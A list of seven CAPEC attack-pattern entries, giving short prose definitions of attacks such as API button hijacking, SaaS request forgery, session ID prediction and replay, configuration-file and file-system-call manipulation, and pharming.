CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-510: SaaS User Request Forgery
An adversary, through a previously installed malicious application, performs malicious actions against a third-party Software as a Service (SaaS) application (also known as a cloud based application) by leveraging the persistent and implicit trust placed on a trusted user's session. This attack is executed after a trusted user is authenticated into a cloud service, "piggy-backing" on the authenticated session, and exploiting the fact that the cloud service believes it is only interacting with the trusted user. If successful, the actions embedded in the malicious application will be processed and accepted by the targeted SaaS application and executed at the trusted user's privilege level.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-89: Pharming
A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.